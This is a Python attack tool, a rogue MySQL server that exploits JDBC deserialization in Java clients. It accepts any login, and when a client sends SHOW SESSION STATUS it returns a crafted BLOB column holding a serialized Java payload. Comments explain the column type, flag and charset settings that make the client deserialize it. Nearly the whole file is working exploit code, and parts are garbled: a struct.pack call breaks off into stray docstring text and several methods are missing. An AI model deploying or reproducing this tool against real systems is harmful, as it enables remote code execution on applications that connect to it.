#!/usr/bin/env python3 """ Rogue MySQL Server v2 — Strict MySQL protocol implementation for JDBC deserialization via ServerStatusDiffInterceptor + autoDeserialize. References: - https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_basic_packets.html - https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_com_query_response_text_resultset.html """ import socket import struct import sys import threading class MysqlPacket: """Helper for building MySQL protocol packets.""" @staticmethod def pack(seq_id, payload): """Build a complete MySQL packet: 3-byte length + 1-byte seq + payload.""" length = len(payload) return struct.pack(') The key trick: column 2 must have: - type = FIELD_TYPE_BLOB (0xFC = 252) - flags: BLOB_FLAG (0x10) | BINARY_FLAG (0x80) = 0x90 - charset: binary (63 = 0x3F) This ensures ResultSetImpl.getObject() enters the BLOB branch, checks isBlob() && isBinary(), and with autoDeserialize=true, deserializes the 0xACED payload. """ packets = b'' seq = start_seq # 1. Column count = 2 packets += MysqlPacket.pack(seq, MysqlPacket.lenenc_int(2)) seq += 1 # 2. Column 1: Variable_name — type VAR_STRING, charset utf8 packets += self._build_column_definition( seq, 'Variable_name', col_type=0xFD, # FIELD_TYPE_VAR_STRING flags=0x00, # no special flags charset=0x21 # utf8_general_ci ) seq += 1 # 3. Column 2: Value — type BLOB, BINARY + BLOB flags, binary charset packets += self._build_column_definition( seq, 'Value', col_type=0xFC, # FIELD_TYPE_BLOB (252) flags=0x0090, # BLOB_FLAG (0x10) | BINARY_FLAG (0x80) charset=0x3F # binary charset (63) ) seq += 1 # 4. EOF after column definitions packets += self._build_eof(seq) seq += 1 # 5. Row: (Variable_name='a\x00b', Value=) row = b'' row += MysqlPacket.lenenc_str('a]b') # col1 value row += MysqlPacket.lenenc_str(self.payload) # col2 value = serialized object packets += MysqlPacket.pack(seq, row) seq += 1 # 6. EOF after rows packets += self._build_eof(seq) seq += 1 return packets, seq def _build_empty_ok_resultset(self, start_seq): """Build a minimal result set for SELECT @@... queries — just return OK.""" return self._build_ok(start_seq), start_seq + 1 def handle_client(self, sock): try: self._do_handle(sock) except Exception as e: print(f"[!] Error handling client: {e}") finally: sock.close() print("[*] Connection closed\n") def _do_handle(self, sock): # 1. Send greeting sock.sendall(self._build_greeting()) print("[*] Sent greeting") # 2. Receive handshake response data = sock.recv(65535) if not data: return print(f"[*] Received handshake response ({len(data)} bytes)") # 3. Send OK (auth success) sock.sendall(self._build_ok(2)) print("[*] Sent auth OK") # 4. Query loop qnum = 0 while True: try: data = sock.recv(65535) if not data: print("[*] Client disconnected") break except ConnectionResetError: print("[*] Connection reset") break if len(data) < 5: continue cmd = data[4] if cmd == 0x03: # COM_QUERY query = data[5:].decode('utf-8', errors='replace').strip() short_q = query[:80] + ('...' if len(query) > 80 else '') print(f"[*] Query #{qnum}: {short_q}") if 'SESSION STATUS' in query.upper(): print("[!] >>> SHOW SESSION STATUS — injecting deserialization payload!") resp, _ = self._build_session_status_response(1) sock.sendall(resp) print(f"[!] >>> Sent {len(self.payload)} byte payload in BLOB column") else: # All other queries get a simple OK sock.sendall(self._build_ok(1)) qnum += 1 elif cmd == 0x01: # COM_QUIT print("[*] COM_QUIT") break elif cmd == 0x02: # COM_INIT_DB sock.sendall(self._build_ok(1)) elif cmd == 0x0e: # COM_PING sock.sendall(self._build_ok(1)) else: sock.sendall(self._build_ok(1)) if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} [port]") sys.exit(1) srv = RogueMysqlServer(sys.argv[1], int(sys.argv[2]) if len(sys.argv) > 2 else 3307) srv.run()